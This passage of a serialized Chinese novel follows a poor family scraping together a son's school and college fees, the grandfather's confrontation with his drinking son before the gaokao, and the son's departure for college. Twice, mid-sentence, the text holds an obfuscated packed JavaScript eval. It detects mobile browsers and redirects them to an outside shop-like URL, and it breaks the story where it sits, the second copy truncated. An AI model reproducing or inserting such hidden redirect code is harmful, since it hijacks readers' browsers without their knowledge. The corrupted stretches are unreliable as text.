“借了三百二。” “还差一千二。” “嗯。” “明天我去火柴厂问问,能不能多领点活。” 姚建国没应。他知道,糊火柴盒糊到死也糊不出一千二。但不知道还有什么办法。这辈子好像总在想办法,想出来的却总是死办法,走到头才发现是死胡同。 夜里,姚华睡着了。张玉芬在灯下缝衣服,姚华的校服,袖子短了,接上一截,用旧衣服上拆下来的布,颜色不一样,深一块浅一块,像打补丁。 姚建国坐门槛上,看夜空。星星出来了,密密麻麻,像撒把盐。想起小时候,母亲常说,地上一个人,天上一颗星。那时候总找自己的星,找不着,就问母亲,母亲指最暗的一颗说:“那颗,最暗的就是你。” 他问为什么我最暗。母亲说:“因为你不着调,不会发光。” 现在信了。就是那颗最暗的星,发不出光,只能在天上挂着,看别的星亮晶晶,看自己儿子也要变成亮晶晶的星——可变星要钱,很多钱,给不起。 “建国。”张玉芬在屋里叫他。 他进去。张玉芬从床底下拖出木箱子,打开,里面是她的嫁妆:一对枕巾,已经发黄;一条红纱巾,褪色褪成了粉色;还有个小布包,打开,是一对银镯子,很细,已经发黑。 “这个,”张玉芬拿起镯子,“明天拿去古文化街当了。” 姚建国接过镯子,很轻,手里几乎没有重量。但知道这重量——这是张玉芬母亲留给她的,结婚那天戴过,后来就收起来,说等姚华结婚时传给儿媳妇。 “不能当。” “那怎么办?” 姚建国答不上来。他攥着镯子,镯子硌着手心,冰凉。突然想起结婚那天,张玉芬戴这对镯子,手抬起来擦汗时,镯子碰一起,叮叮当当响,像风铃。那时候觉得,这声音真好听,能听一辈子。 “我再想想办法。”他说。 “你能想什么办法?”张玉芬声音突然提高,“姚建国,我跟你二十年了,你想出过什么办法?下岗的时候你说想办法,车丢的时候你说想办法,现在孩子上学要钱,你又说想办法!你的办法在哪?啊?” 姚建国站着,像根木桩。张玉芬的话像针,一根根扎进肉里。知道她说得对,从来没什么办法,办法就是喝酒,就是蹲河边发呆,就是等时间过去,等事情自己解决——或者自己烂掉。 “我去借。”他重复这句话,像念咒。 “跟谁借?你把能借的都借遍了!”张玉芬哭了,声音压很低,怕吵醒姚华,“姚建国,我求你,你哪怕硬气一回,哪怕去偷去抢,把孩子的学费挣来,我也认了!可你……你就会说‘我去借’!” 姚建国不说话。他慢慢蹲下来,蹲箱子边,看里面的东西。枕巾上绣着鸳鸯,一只头朝东,一只头朝西,永远碰不到一起。红纱巾原来大红的,现在褪色了,像干了的血。还有镯子,在手里,越来越沉,沉得拿不住。 “我去借。”又说一遍,然后站起来,往外走。 “你去哪?” “你别管。” 他走出家门,走进夜色里。胡同很黑,没有路灯,深一脚浅一脚走。走到胡同口,停住了——不知道往哪去。世界这么大,却没一个地方能借一千二百块钱。 他在马路牙子上坐下,坐了很久。有夜班的人骑车经过,车灯扫过他,又扫过去,像探照灯扫战俘营。想起货场的探照灯,晚上拉货时,那灯亮得刺眼,能把人的影子钉地上,钉得死死的,动不了。 后来去了海河。河边有长椅,他躺上去,椅子窄,硌得背疼。他看天,星星还在,还是那么多,那么亮。找最暗的那颗,找着了,确实暗,暗得几乎看不见,但仔细看,还在那儿,没消失。 “你还在啊。”他说,对着那颗星。 星不回答,只是闪,很微弱地闪。 第二天,姚建国干了件这辈子最不想干的事——去找他父亲。父亲住养老院,二伯安排的,费用本是三个儿子平摊。姚建国那份一直由张玉芬出,每个月五十,从牙缝里省。 养老院在北郊区,倒三趟公交车才到,可能是这辈子去过最远的地方。院门口有棵老槐树,树下几个老人在下棋,吵吵嚷嚷。他绕过去,走进楼里。楼道里有股消毒水味,混尿臊味,刺鼻。 父亲房间在二楼最里面。门开着,看见父亲坐窗前,背对门,一动不 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“你二伯上月来看我,说你也下岗了。” “嗯。” “那你咋活?” “拉货,打零工。” 父亲盯着他看,看了很久,看得姚建国低下头。觉得自己像被剥光了,所有的无能、所有的失败都晾父亲眼前,晾在这个曾经一巴掌能把他扇倒的男人眼前。 “我帮不了你。”父亲说。 “我知道。” “我也没帮过你啥。”父亲转头看窗外,窗外养老院的围墙,墙外有棵树,树上挂着塑料袋,风一吹,塑料袋就飘,像白色鬼魂。“你妈死得早,我……我对不起你们。” 姚建国没说话。想起母亲下葬那天,父亲一滴眼泪没掉,只是站坟前,站了很久。那时候觉得父亲心硬,现在觉得,也许不是心硬,是眼泪早就流干了,流在别人看不见的地方。 “这个你拿去。”父亲从枕头底下摸出存折,递给他。 姚建国接过,打开。存折很旧了,开户日期1978年,余额:五百二十元整。 “我攒的,”父亲说,“本想留着……算了,你拿去。” “爸……” “别叫我爸。”父亲摆手,“我当不起。” 姚建国攥着存折,存折边角磨毛了,纸页泛黄。五百二十块,父亲攒二十年的钱,也许为买个好点的骨灰盒,也许为最后请人吃顿饭,现在都给了他。 “我会还。”他说。 “不用还。”父亲转回身,继续看窗外,“我死了,你给我买最便宜的盒子就行,剩下的,烧了。” 从养老院出来时,太阳正烈。姚建国在门口站一会儿,看那棵老槐树。树下下棋的老人吵起来了,为一个子儿,争得面红耳赤。他看了会儿,走了。 现在有八百四十块了。加上之前借的三百二,一千一百六。还差三百六。 三百六,不多,但对他来说,像三百六十座山。 回家公交车上,他睡着了。梦里回货场,拉棉纱,一车接一车,永远拉不完。累得喘不过气,想停,但停不下来,后面有人在推,推他的人是父亲,是张玉芬,是姚华,是所有欠了债的人。 醒来时坐过了站。他下车,往回走。路过工地,工地正在挖地基,大坑深不见底,像张开的嘴。他站坑边看了会儿,突然想,跳下去就好了,一了百了。 但没跳。还有三百六十块钱要挣。 那天晚上,张玉芬把镯子当了。当铺老板是个老头,戴老花镜,用指甲在镯子上划划,又放灯下看。 “成色不好,”老板说,“最多八十。” “一百,”张玉芬说,“这是我妈传的。” “八十,不卖拉倒。” 张玉芬咬咬嘴唇:“九十。” 老板看看她,又看看镯子。“八十五,不能再多了。” “八十五就八十五。” 她拿着钱回家,钱是八张十元的,一张五元的,新崭崭。把钱放桌上,和姚建国借来的钱放一起。现在总数一千二百四十五元,够了,还多出二十五。 “够了。”她说。 姚建国看那堆钱,钱在灯光下泛光,像一堆碎玻璃,扎眼。想起父亲的存折,想起张玉芬的镯子,想起二舅的一百块,想起表姑的三十块……这些钱凑一起,凑成了姚华的未来。 而他,什么都没出——除了无能,除了借来的钱,除了让父亲掏棺材本,让妻子当掉传家宝。 “我对不起你们。”他说。 张玉芬没应,只是把钱收起来,一张张理好,用橡皮筋扎紧。“明天去交钱。” 夜里,姚华醒了,听见父母说话。声音很低,但还是听见了。 “镯子……以后挣了钱赎回来。” “赎不回来了,当铺那老头精着呢。” “那……我以后给姚华媳妇买对新的。” “等你有钱再说吧。” 沉默。然后是他父亲的叹息,很长,很重,像从地底深处传来。 姚华闭眼睛,假装睡着了。但他知道,从今天起,有些东西不一样了。肩上压着的,不只是一个书包,不只是一千五百二十块钱,而是整个家的重量——父亲的愧疚,母亲的牺牲,那些借来的钱和当掉的东西,都变成了重量,压在他十四岁的肩膀上。 他知道,必须跑起来,拼命跑,跑得比所有人都快。不是为了出息,不是为了光宗耀祖,只是为了有一天,能把那些当掉的东西赎回来,能把借来的钱还上,能让父亲不再说“对不起”,能让母亲不再半夜里偷偷哭。 窗外,友谊罐头厂的烟囱还在冒烟。黄烟融入夜色里,看不见了,但那股午餐肉的油腻味还在,黏空气里,黏肺里,黏在这个家的每一个角落,像永远散不去的贫穷的气味。 姚华数烟囱冒烟的次数,一,二,三……数到一百时,睡着了。梦里在跑,跑在很长的路上,路两边是无数双手,有的递钱,有的从他手里拿东西,有的推着往前,有的拉着往后。跑啊跑,跑得喘不过气,但不敢停。 他知道,一旦停下,那些手就会把他撕碎。 8. 第八章 高考停火协议 铁一中的围墙刷过三次灰,第一次是姚华初一那年,刷到一半停了工,剩下半截灰扑扑的水泥墙,裸露着陈年的砖缝,像盐坨桥总也补不平的桥面。初中三年,高中又三年,他每天从这堵墙下走过,看墙头的野草黄了又绿。现在,墙彻底刷白了,白得晃眼——因为高考要来了。 腊月二十三,小年夜的雪把盐坨村下成了一锅稠粥。姚华从学校晚自习回来时,看见院门外戳着个黑影——是辆黑色轿车,车顶上积了寸把厚的雪,像戴了顶孝帽子。这车和盐坨桥上那些拉罐头的小货卡不一样,它黑得亮堂,连雪都盖不住那股子气派。 他推门,门轴冻住了,吱呀声特别刺耳,像盐坨桥老铰链的呻吟。堂屋里,八仙桌旁坐着三个人:爷爷、父亲、母亲。桌上的酒瓶倒了,褐色液体正顺着桌腿往下淌,在地面汇成一滩,像陈旧的血——也像盐坨桥下那条终年泛着铁锈色的河水。 姚老爷子九十岁了,背还挺得笔直。他穿着洗得发白的旧军装,风纪扣严严实实扣着。拐杖靠在桌边,杖头包着铜皮,在十五瓦灯泡下泛着冷光,像盐坨桥栏杆上那些被磨亮的铆钉。此刻他正盯着儿子,眼神像两把生锈的刺刀。 “你刚才说什么?”老爷子的声音不高,每个字都像从胸腔里砸出来的。 姚建国缩在条凳上,手里攥着酒盅,指关节白得发青。“爹……我就喝一口……” “一口?”老爷子突然笑了,笑得咳嗽起来,咳得整个身子都在抖。咳完了,他用袖子抹抹嘴,“1948年打天津,我们在西营门外围了三天三夜。最后一天,炊事班的老刘揣着半壶地瓜烧爬过来,说班长,喝口暖暖。我说不能喝,喝了手抖,枪打不准。”他盯着儿子,“你猜老刘后来怎么了?” 姚建国不敢接话。 “死了。”老爷子说,“肠子被打出来了,拖回来时手里还攥着那壶酒。”他顿了顿,“要是他没喝那口酒,手稳点儿,也许能多杀两个敌人。”屋外传来罐头厂夜班换岗的汽笛声,老爷子的话混在汽笛里,像从很远的地方飘来。 屋里静得能听见雪压断树枝的声音。 老爷子慢慢站起来,一步一顿走到儿子面前。他低头看着那个酒瓶——直沽高粱,最便宜的那种,标签被酒渍浸得发皱。然后,他抬起右脚。 那是一双老式解放鞋,鞋底磨得几乎透明,鞋帮上还沾着从盐坨桥那头踩来的泥雪。鞋抬起来,在空中停了一瞬,像在积蓄力量。然后,落下。 “哐当——” 酒瓶碎了。不是被踢倒,是被踩碎的。玻璃碴子四溅,有几片崩到姚建国裤腿上,他没敢动。酒液彻底洒了,那股劣质酒精的酸臭味猛地腾起来,倒比友谊罐头厂飘来的烂水果味好闻些。 “姚建国,”老爷子弯下腰,脸几乎贴到儿子脸上,“你听好了。我就这么一个孙子,他明年六月要考大学。这半年,你再碰一滴酒,我打断你的腿。你再在家里闹一次,我砸了这屋顶。”他直起身,“反正这破房子,也不值几个钱,还不抵盐坨桥东头一间铺面的月租。” 姚建国张了张嘴,没发出声音。他慢慢低下头,看着那一地碎片。有一片大的,映出他扭曲的脸。 老爷子转向张玉芬:“玉芬。” “爹。”张玉芬站起来,手在围裙上擦着——其实围裙是干的。 “这半年,辛苦你。”老爷子从军装内兜掏出个手绢包,一层层打开。里面是钱,有十块的,五块的,还有毛票。他把钱放在桌上,“三百二十块。给孩子买点好的,补补脑子。” “爹,这不能……” “拿着!”老爷子声音一厉,随即又软下来,“我老了,钱留着没用。华子考上大学,比什么都强。”他顿了顿,“盐坨桥西头老王家那小子,去年考上了师范,现在全家都搬到桥东去了。咱们姚家,不能总在桥西头。” 最后,他看向姚华。看了很久,眼神像在抚摸一件失而复得的宝贝。“孙儿,”他说,“爷爷没文化,大字不识几个。但爷爷知道,读书是出路。你爹……”他停了一下,“你爹这条路走歪了,你不能歪。盐坨桥就这么长,歪一步,就掉河里了。” 姚华点点头,喉咙发紧。他想起每天上下学经过盐坨桥时,桥东头那些穿呢子大衣的学生,桥西头那些和他一样拎着破书包的孩子。桥是同一座桥,桥下的水却好像把两岸隔成了两个世界。 老爷子拿起拐杖,铜杖头在地面上顿了顿:“我走了。” “爹,住一晚吧,雪这么大……” “不住。”老爷子推开院门,风雪呼地灌进来,“养老院那边,晚上要点名。在盐坨桥东头,路不远。” 他蹒跚着走进雪里,背影在路灯下被拉得很长。黑色轿车的门开了,司机——一个穿军便装的年轻人——扶他上车。车门关上,车灯亮起,碾着积雪缓缓驶远,穿过盐坨桥时甚至没有减速。留下一道黑色的车辙,很快又被新雪盖住了,像盐坨桥上那些总也留不住的脚印。 那一夜,姚家静得像座坟。 姚建国蹲在地上捡玻璃碴。一片,两片,捡得很慢,像在捡自己的骨头。捡完了,他用扫帚扫,扫帚是秃的,扫不干净细小的碎片。他又趴下去,用手一点一点摸,摸到就捏起来。手指被划破了,血珠渗出来,他塞进嘴里吮。那味道比罐头厂腌渍车间的酸水还冲。 张玉芬在厨房煎鸡蛋。六个鸡蛋,是老爷子带来的。她煎成溏心的,油放得比平时多,锅里滋滋响,油烟气飘出院子,混进盐坨桥夜市摊的油烟里,分不清谁是谁的。 姚华在里屋做模拟卷。数学卷,最后一道大题是解析几何,他算了三遍,答案都不一样。橡皮用完了,他用手指蘸唾沫擦,把卷子擦出个洞,像盐坨桥路面那些总也填不平的坑。 夜深了。姚华出来上厕所,看见父亲还坐在堂屋里,对着空荡荡的桌子发呆。灯泡悬在他头顶,把他的影子投在墙上,巨大,变形,像盐坨桥在月光下的剪影。 “爸。”姚华叫了一声。 姚建国没回头,只是摆摆手:“睡去吧。” 春天来了又走。友谊罐头厂的烟囱照旧冒黄烟,只是空气里多了杨絮,白茫茫的,落在盐坨桥面上像下了一层薄雪。姚家真的有了半年的和平——如果沉默也算一种和平的话。 姚建国不喝酒了。不是不想喝,是不敢。老爷子每周让司机送来一兜鸡蛋,有时还有二两猪肉。司机不说话,放下东西就走,车总是停在盐坨桥西头,从不开过桥来。姚建国对着那些东西,能发一上午呆。 他开始找活干。正经活找不到,就去建筑工地当小工,和水泥,搬砖头。一天十五块,中午管一顿饭——馒头、白菜汤,汤里漂着几点油星,比盐坨桥头民工摊的伙食还差些。他五十岁了,腰不好,搬一会儿就得直起来捶捶。工头骂他磨蹭,他嘿嘿笑,不还嘴,笑得像盐坨桥栏上那些傻乎乎的石狮子。 晚上回家,他洗脚,一盆水能洗出半盆泥。脚底板磨出了新茧,叠在旧茧上。张玉芬给他挑水泡,针在煤油灯上烧一下,挑破,挤出黄水。他不喊疼,只是嘶嘶吸凉气,声音像盐坨桥下漏风的桥洞。 姚华的成绩忽上忽下。一模考了年级五十八,二模掉到九十二。班主任找他谈话,说:“别紧张,你底子不差。”但他知道,底子不差有什么用?盐坨桥西头的孩子,底子都不差,可每年能从桥西考到桥东去的,掰着手指头能数清。 五月最后一天,姚建国在工地摔了一跤。一摞砖头没码稳,倒了,砸在他脚上。工头送他去卫生所,医生说骨头没事,但脚踝肿得像馒头——盐坨桥头早点摊那种碱面馒头,又大又实沉。 “工钱……”姚建国问。 “歇工没工钱。”工头说得干脆,像盐坨桥东头那些穿西装的人谈生意。 那天姚建国是瘸着走回家的。五公里路,他走了一个半小时。过盐坨桥时,桥东头的烧烤摊飘来肉香,他咽了口唾沫,没停步。到家时天黑了,姚华刚下晚自习。 “爸,你的脚……” “没事。”姚建国坐到门槛上,脱鞋。鞋脱不下来,肿得太厉害。他用剪刀剪开鞋帮,脚露出来,青紫,发亮,像盐坨桥下淤了多年的河泥。 张玉芬打来热水,给他敷。热毛巾碰到伤处,他浑身一哆嗦。 夜里,姚华听见父母在说话。 “……要不,跟爹说一声?” “不说。” “可你这样,怎么干活?” “我能行。” “你能行什么?”张玉芬的声音带了哭腔,“姚建国,你五十了!你就不能服个软?盐坨桥东头那些老板,哪个不是从服软开始的?” “我没错!”姚建国突然低吼,“我没错!我就是没本事,怎么了?盐坨桥这么长,总得有人在西头!” 沉默。长久的沉默。只有罐头厂夜班机器的轰鸣声,从盐坨桥那头闷闷地传来。 然后姚华听见父亲哭了。不是嚎啕,是压抑的、从喉咙深处挤出来的呜咽,像盐坨桥下冬天的风,从桥洞这头钻进去,那头出来时,就带了哭腔。 六月六日,高考前一天。傍晚,姚建国从外面回来,手里拎着条鱼。鲤鱼,一斤多重,还活着,尾巴一甩一甩,甩了他一身水。 “哪来的?”张玉芬问。 “买的。” “多少钱?” “别管。”他顿了顿,“盐坨桥东头水产市场收摊时买的,便宜。” 吃饭时,姚建国把鱼肚子上的肉都夹给姚华。“明天考试,吃好点。”鱼肉很嫩,但刺多,像盐坨桥那头的路,看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119415|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平坦,走起来扎脚。姚华小心地剔,还是被一根小刺卡了喉咙。咳了半天。 “慢点吃。”姚建国说,伸手想拍拍儿子的背,手伸到一半,又缩回去了,像盐坨桥上那些想跨又不敢跨过桥中线的人。 那晚姚华很早就躺下了,但睡不着。他听见父母在堂屋里忙活——母亲在给他准备明天的东西,父亲在修那辆破自行车。扳手、钳子、打气筒,叮叮当当响,声音在盐坨桥这头的夜里传不了多远。 后来声音停了。姚华爬起来,从门缝往外看。父亲坐在门槛上抽烟,没开灯,烟头的红光在黑暗里一明一灭,像盐坨桥上的路灯,隔老远才有一盏。母亲坐在他旁边,手里拿着件衣服在缝——是他的校服,肘部磨薄了,像盐坨桥面的沥青,补了又补。 “能考上吗?”姚建国突然问。 “能。”张玉芬说,针线没停。 “考上了……学费怎么办?” “借。” “跟谁借?” “总能借到。”针穿过布料,嗤的一声。 姚建国不说话了,只是抽烟。一根抽完,又点一根,烟灰落在门槛上,积了一小堆,像盐坨桥栏上落的灰。 六月七号,早晨。张玉芬起了个大早,煎了六个溏心蛋——和半年前老爷子带来的那六个一样。蛋在锅里滋滋响,油星子溅出来,烫了她的手,她没吱声。 姚建国没喝酒。他蹲在门口,抽完最后一根烟,把烟头在水泥地上捻灭,捻成了碎末,像盐坨桥面上那些被碾碎的烟蒂。然后他站起来:“走吧。” 自行车是借老李的。姚华坐后座,手里拎着布袋子,里面装着所有考试要用的东西,还有两个煮鸡蛋、一壶凉白开。车轱辘压过盐坨桥时,姚华看见桥下的水比往常清了些——也许是错觉。 路上车很多。姚建国蹬得很慢,躲着车流。他的脚还没好利索,蹬车时左脚不敢用力,车就歪歪扭扭的,像喝醉了酒。过盐坨桥东头时,几个穿校服的学生骑着崭新的自行车超过去,车铃铛响得清脆。 “爸,我自己去吧。” “没事。”姚建国头也不回。 考点在铁一中本校。校门口黑压压全是人。姚建国把车停到路边,锁好——其实不用锁,这破车,盐坨桥东头的人看不上。他看了看儿子,想说什么,嘴唇动了动,没说出来。最后他只是伸出手,替姚华整了整衣领。手指粗糙,刮得姚华脖子生疼。 “好好考。”他说。 姚华点点头,转身往校门走。走了几步,他回头。父亲还站在原地,双手插在裤兜里,看着他。晨光从侧面照过来,照出父亲半张脸——皱纹很深,像盐坨桥面那些裂开的水泥缝。鬓角全白了,白得像盐坨桥栏上落的霜。 姚华突然看见,父亲插在裤兜里的手在抖。不是轻微的颤抖,是控制不住的、痉挛般的抖动。 他想起半年前,爷爷踩碎酒瓶的那个夜晚。想起父亲趴在地上捡玻璃碴的样子。想起这半年的沉默。想起盐坨桥,桥东,桥西。 他转过身,大步走进校门。不敢再回头。怕一回头,看见父亲还站在盐坨桥那头的世界里。 铃声响起。校门缓缓关上。姚华找到自己的考场,坐下,深呼吸。空气里有粉笔灰的味道,有旧木头桌椅的味道。 还有,很淡很淡的,父亲手指上那种劣质烟丝的味道——那味道,和盐坨桥夜市摊的油烟混在一起,是他十八年里最熟悉的气息。 他打开笔袋,拿出铅笔。铅笔削得很尖,是父亲昨晚削的,削下来的木屑还沾在笔杆上,像盐坨桥头老槐树落下的皮。 监考老师开始发卷。姚华接过卷子,第一页,语文。作文题目是:《路》。 他拿起笔。笔尖落在纸上,留下第一个字。那一刻,他忽然明白了父亲为什么抖——那不是戒断反应,不是害怕。 那是把所有的重量,所有的希望,所有的未竟之路,都压在一根细弱的铅笔上时,生命本身的、无法抑制的震颤。就像盐坨桥,每天承载那么多脚步,桥身也会微微地、几乎看不见地颤动。 就像爷爷说的,手抖了,枪就打不准。 但现在,他必须握稳这支笔。这支笔是桥,是他从盐坨桥西头,一步,一步,走向东头的唯一的桥。 窗外,友谊罐头厂的烟囱又开始冒烟了。黄烟滚滚,升上六月湛蓝的天空。烟向西飘,飘过盐坨桥,在桥面上投下淡淡的影子。但在姚华低头写字的这一刻,那烟,那过去所有的贫穷、所有的泪,都暂时远了。 笔尖划过纸张,沙沙,沙沙。 像走在一条新雪覆盖的路上,每一步,都踩出深深的、通向远方的脚印。也像走过盐坨桥,从这头到那头,桥还是那座桥,水还是那道水,但走过去的人,已经不是同一个人了。 9. 第九章 轻工业学院的逃亡 通知书是七月二十八号到的。那天热得铁皮屋顶往下滴油,友谊罐头厂的烟囱连黄烟都懒得冒了,死气沉沉地戳在天上,像根烧焦的手指头。邮递员的自行车铃在胡同口响了五遍,张玉芬才从糊火柴盒的案板上抬起头——手指被糨糊泡得发白起皱,像在水里泡了三天的尸体的手。 “挂号信!” 张玉芬没动。姚华从里屋出来,光着膀子,汗顺着肋骨往下淌,在瘦削的胸腹间犁出一道道亮晶晶的沟。 “妈,我去。” 信封右下角印着“轻工业学院”。姚华签名一笔一划,工工整整,像在完成某种仪式。邮递员瞥了一眼:“计算机?这专业好,将来能坐办公室。” 姚华没接话。他觉得信封沉,沉得像揣了块砖。 堂屋里,张玉芬已经站起来了,手在干围裙上擦着。姚华把通知书放在八仙桌上,桌子晃了晃,瘸腿发出呻吟。 “拆吧。” 他先看专业:计算机科学与技术。再看学费:四千八百元。住宿费:八百元。最后一栏:合计六千二百元整。 他把通知书推过去。张玉芬的目光在“六千二百”上停住了,停得很久,久到窗外的知了都换了一茬叫声。 “六千二……”她重复,声音飘忽得像烟。 姚建国是傍晚回来的。裤腿挽到膝盖,小腿上糊满了干裂的黑泥,一道道口子像大地的伤口。他进门就找水喝,抱起水缸边的瓢,仰头灌,喉结上下滚动,像颗挣扎的核桃。 “爹,通知书来了。” 姚建国放下水瓢,走到桌前,拿起那张纸。看了半天,突然转身进了里屋,传来开樟木箱子的声音——放家里重要东西的。 他走出来,手里拿着一本书。深蓝色封面,边缘磨得发白起毛。他小心地翻开,指着其中一页的插图:黑白的车床,一个工人在操作。图下面有字:车工基本操作示意图。 “当年,”姚建国说,手指在图上摩挲,指甲缝里还塞着黑泥,“我想干这个。” 姚华第一次认真看父亲的眼睛。浑浊,布满血丝,瞳孔里映出昏黄的灯光,也映出那本《车工入门》泛黄的纸页。 “可是没成。”姚建国笑了笑,笑得很干,像枯叶在风里摩擦的声音,“你爷爷没门路,我只能去那个国营包子铺端盘子。” 他把书合上,合得很轻。“现在好了,我儿子,要学计算机了。计算机……”他顿了顿,“比车床高级。不用沾一手油。” 张玉芬转身去了厨房。锅里炖着茄子,水快烧干了,她添了瓢水,火苗“噗”地窜起来。 晚饭吃得很沉默。茄子炖土豆,土豆没炖烂,硬邦邦的。吃到一半,姚建国突然说:“钱,我想办法。” “你有什么办法?” “我去借。” “跟谁借?六千二,不是六十二!” 姚建国不说话了,低头扒饭。扒了几口,他放下碗,碗底还有几粒米,他一颗颗捡起来塞进嘴里。“我找老二。” 夜里,姚华睡不着。他听见父母在堂屋说话。 “六千二……把咱们俩拆了卖零件都不值这个数。” “老二那边,能借两千。我明天去找老三。” “剩下三千二呢?” 沉默。很长很长的沉默。然后姚建国说:“我去卖血。” “你疯了!你这身子骨,还有血可卖吗?你那血,送人家人家都嫌稀!” “那你说怎么办?我姚建国没本事,我认了!但我儿子有本事,他考上了!我就是卖肾,也得让他上这个学!” “你卖肾?你那肾谁要?喝酒喝得都快烂完了!” 姚华用被子蒙住头。数到两千,父亲的呜咽声传来了,那种压抑的、从喉咙深处挤出来的声音,像受伤的野兽在舔伤口。 第二天,姚建国真去找二伯了。姚华去了友谊罐头厂后面的垃圾堆,捡了一百二十三斤废铁。废品站老头叼着烟袋:“十四块七毛六。” 姚华接过钱。十四块七毛六,距离六千二,还差六千一百八十五块两毛四。按这个速度,要捡够学费,得再捡四百多天。一天不落。 回到家时,姚建国坐在门槛上,手里捏着个存折。“你二伯给的,两千八。这是给明明攒的嫁妆,明明去年嫁人了,没要那么多彩礼,这钱就剩下了。” 姚华看着存折。两千八,很多,但又那么少。 “你三叔给了五百。他儿子今年也要上大学。” 三千三。还差两千九。 日子一天天过去,像钝刀割肉。张玉芬一天糊二十个小时火柴盒,手指溃烂,缠着破布条继续糊。姚建国什么活都干:通下水道、掏粪坑、在殡仪馆抬尸体——有一次他回来,身上有股奇怪的味道,怎么洗也洗不掉,那是死亡的味道。 八月中旬,钱终于凑够了。姚建国把所有的钱摊在床上:有整有零,最大的是一百的,最小的是一分的硬币。他们数了一遍又一遍,最后数目定格在六千二百三十块——多了三十。 “够了。”张玉芬说,声音很轻。 姚建国看着那堆钱,看了很久。突然,他站起来,走到院子里。姚华跟出去,看见父亲蹲在墙角,用那双粗糙的手捂住脸。月光冷冷地照着他,照着他花白的头发,照着他佝偻的背。 没有声音。只有夜风吹过破窗棂的呼啸声。 开学前三天,张玉芬开始给姚华准备行李。几件旧衣服,一个掉漆的搪瓷缸子,一条补了两个洞的毛巾。最后是袜子,她从箱底翻出所有破袜子,一共三十双,坐在灯下一针一线地补。补丁摞补丁,补得厚厚的。 “学校就在河西,骑车半个钟头就到了。”她一边补一边说,“每周记得回来,妈给你做好吃的。” 姚华看着母亲的手,在昏黄的灯光下像两截枯树枝。他突然想起小时候,这双手曾那么柔软。 “妈,我会回来的。” 张玉芬的手停了一下,针尖在指尖扎出个血珠。她塞进嘴里吮了吮,继续补。“回不回来都行,你好好的就行。” 最后一双袜子补完时,天快亮了。 九月一号,早晨下了点小雨。姚华把背包绑在自行车后座上——自行车是跟老李借的。 张玉芬站在门口,手里攥着个塑料袋,里面是六个煮鸡蛋。“路上吃,到了学校,好好吃饭。” 姚建国也出来了。穿着那件灰衬衫洗得发白了,袖口磨破了,张玉芬给缝了两针,针脚歪歪扭扭的。他想说什么,嘴张了张,没说出来。最后,他从怀里掏出那本《车工入门》,塞进姚华的背包。 “拿着,看见它,就记着……记着爹这辈子,也就这样了。你不一样。” 雨停了,太阳从云缝里钻出来。姚华骑上车,回头看了一眼。母亲还站在门口,手搭在额前挡着阳光。父亲靠在门框上,双手插在裤兜里,看着他。 姚华转过头,蹬车。车轮转动起来,带着他驶出胡同,驶上土路。 风带着初秋的凉意。姚华骑得很快,快得能听见自己的心跳。他想,这就是逃亡——不是逃往远方,而是逃往一个只有三十里、却仿佛隔着一生的地方。 骑到盐坨桥时,他停下来。桥是老桥,铁栏杆锈得厉害,有几处已经断了,用铁丝胡乱缠着。桥下的海河水是浑黄的,缓缓向东流去。而河西区,高楼林立,轻工业学院就在那片楼群之中。 姚华推车走上桥。桥面坑坑洼洼,自行车颠得厉害。走到桥中央时,他停下来,从背包里掏出那本《车工入门》,翻到扉页。上面有一行褪色的钢笔字:“学一门技术,走遍天下都不怕。” 他想起父亲说这话时的神情——那种混合着遗憾、骄傲和某种他当时不懂的东西的神情。现在他懂了,那是一种把自己的梦想像遗产一样打包传给下一代的郑重其事。只是这遗产太沉重了,压得人喘不过气。 桥那头传来汽车喇叭声。姚华合上书,重新塞回背包。他推车继续走,车轮碾过桥面破损的水泥,发出咔嚓咔嚓的声音。过了这座桥,他就离盐坨村远了,离那个父亲用铸成的、让人窒息的王国远了。 他终于有机会离父亲创造的王国远了一点——那个王国里,爱是用苦难称量的,关心是用叹息包裹的,每一次呼吸都仿佛在说:看我为你付出了多少。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119416|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 下了桥,柏油路变得平整了。姚华骑上车,穿过了海河上的桥,骑进河西区。街道整洁,楼房高大,行人穿着体面的衣服。他看见轻工业学院的校门了,铁艺的,上面挂着红色的横幅:“欢迎新同学”。 他在校门口停下,下车,推着车走进去。校园很大,有教学楼,有图书馆,有操场。学生们三三两两地走着,说着笑着,脸上洋溢着一种他从未有过的轻松。 他找到报到处,排队,递上录取通知书,交学费。六千二百元,厚厚的一沓钱,从他手里递出去,换回一张收据,几张表格。 手续办完了,他推着车去找宿舍。路过一栋教学楼时,他看见墙上贴着课程表:C语言程序设计、数据结构、计算机组成原理……这些陌生的词,将构成他未来四年的生活。 宿舍在五楼,八人间。他进去时,已经有三个室友到了。他们看见他,点点头,算是打过招呼。没人问他从哪里来,没人问他背包为什么那么旧,没人问他鞋上的补丁。 姚华找到自己的床位,靠窗的上铺。他爬上去,开始铺床。床单是学校发的,白色的,很干净。他把被子抖开,被套也是新的,有一股阳光晒过的味道。 铺好床,他躺下来,看着天花板。天花板很白,白得刺眼。窗外传来操场上打篮球的声音,砰砰砰,像心跳。 他突然想起早晨过盐坨桥时,桥下浑黄的河水。那河水会一直流,流过盐坨村,流过友谊罐头厂,流过父亲每天走过的路。而他在这里,躺在干净的床单上,听着打篮球的声音。 